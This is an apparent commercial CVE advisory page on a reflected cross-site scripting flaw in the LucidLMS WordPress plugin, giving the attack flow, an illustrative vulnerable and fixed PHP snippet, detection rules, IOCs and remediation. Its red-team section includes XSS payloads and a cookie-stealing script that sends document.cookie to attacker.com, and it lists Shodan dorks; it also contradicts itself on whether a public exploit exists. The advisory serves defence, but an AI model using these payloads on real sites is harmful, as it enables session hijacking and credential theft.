☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
N3wnormal logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-22498

CVE-2025-22498 Cross-Site Scripting in N3wnormal
📅 PUBLISHED: 2025-01-13 14:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.12%
👁️
0.12% probability
3.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22498 is a reflected Cross-Site Scripting (XSS) vulnerability in the LucidLMS WordPress plugin, developed by N3wNormal. The vulnerability exists in versions up to and including 1.0.5. An attacker can inject arbitrary JavaScript into a web page by crafting a malicious URL, which when visited by a victim, executes in the context of the vulnerable site. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed LucidLMS from the WordPress admin dashboard or directly from the repository are at risk. The lack of a patch means that the supply chain is compromised until the vendor releases an update. Administrators should consider removing the plugin or applying a virtual patch via a Web Application Firewall (WAF).

CVSS Breakdown & Threat Level

  • CVSS Score: 7.1 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must click a crafted link)
  • Scope: Changed (impact on resources beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

Threat Level: High. The vulnerability is easy to exploit (no authentication required) and can lead to significant impact on users and the application.

Deep Dive & Mechanics

The vulnerability is a Reflected XSS in the LucidLMS plugin. The plugin fails to properly sanitize user-supplied input before including it in a web page response. An attacker can inject malicious JavaScript code into a parameter (likely a query string parameter) that is reflected back to the user without proper encoding or escaping.

Attack Flow:

  1. Attacker crafts a malicious URL containing JavaScript payload in a vulnerable parameter (e.g., ?search=<script>alert(1)</script>).
  2. Attacker sends the URL to a victim via email, social media, or other channels.
  3. Victim clicks the link and the vulnerable page reflects the injected script.
  4. The script executes in the victim's browser, allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: The plugin uses echo $_GET['param'] or similar without applying esc_html(), esc_attr(), or wp_kses() functions. WordPress provides built-in functions for output escaping, but the plugin developer did not use them.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (Example):

<?php
// In a LucidLMS template file
$search = $_GET['search'];
echo '<div class="search-result">' . $search . '</div>';
?>

Patched Code (Expected):

<?php
$search = isset($_GET['search']) ? sanitize_text_field($_GET['search']) : '';
echo '<div class="search-result">' . esc_html($search) . '</div>';
?>

The patched version uses sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress instance with LucidLMS <= 1.0.5 installed and activated.
  • A victim user who will click a crafted link.

Exploitation Steps:

  1. Identify the vulnerable parameter. Common parameters in LucidLMS include search, course_id, user_id, or page.
  2. Craft a payload. Example: ?search=<script>alert(document.cookie)</script>
  3. Encode the URL if necessary: ?search=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
  4. Send the link to the victim.
  5. When the victim clicks, the script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

No public exploit code is available from Exploit-DB.

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests containing <script>, onerror=, onload=, or other XSS patterns in query parameters.
  • Use a WAF to block requests with suspicious parameters.
  • Deploy Content Security Policy (CSP) headers to restrict script execution.

Hunting:

  • Search for GET requests to LucidLMS pages with unusual query strings.
  • Look for alert, prompt, confirm, fetch, XMLHttpRequest in URL parameters.

Lab Setup:

  • Use a local WordPress installation with LucidLMS 1.0.5.
  • Install a debugging plugin like Query Monitor to trace parameter handling.
  • Use Burp Suite or OWASP ZAP to intercept and modify requests.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests containing <script> tags in query parameters.
    • Requests to /wp-content/plugins/lucidlms/ with unusual parameters.
    • Outbound connections to attacker-controlled domains from the WordPress server.
  • Host IOCs:

    • Modified WordPress database entries (e.g., wp_options or wp_postmeta) containing JavaScript.
    • Unexpected JavaScript files in the uploads directory.
  • Log IOCs:

    • Web server logs showing %3Cscript%3E or %3C/script%3E in the request URI.
    • Access logs with alert( or fetch( in the query string.

Detection Engineering

YARA Rule

rule CVE_2025_22498_LucidLMS_XSS {
    meta:
        description = "Detects reflected XSS attempts against LucidLMS plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22498"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $lucid = "lucidlms"
    condition:
        any of ($xss*) and $lucid
}

Sigma Rule

title: Reflected XSS Attempt Against LucidLMS
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests containing XSS payloads targeting LucidLMS plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'alert('
            - 'prompt('
            - 'confirm('
        cs-uri-stem|contains: '/wp-content/plugins/lucidlms/'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in search parameters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22498 LucidLMS Reflected XSS Attempt"; flow:to_server,established; content:"/wp-content/plugins/lucidlms/"; http_uri; pcre:"/(<script|onerror|onload|alert|prompt|confirm)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Apply a virtual patch using a WAF (e.g., ModSecurity, Cloudflare) to block XSS patterns in query parameters.
  3. Monitor logs for exploitation attempts.

Long-term Fix:

  • The vendor must release a patched version that properly escapes output using WordPress functions like esc_html(), esc_attr(), and sanitize_text_field().
  • Users should update to the latest version once available.

Workarounds:

  • Use a security plugin like Wordfence or Sucuri to add an additional layer of protection.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"LucidLMS"
http.html:"lucidlms"
http.favicon.hash:lucidlms

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22498/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.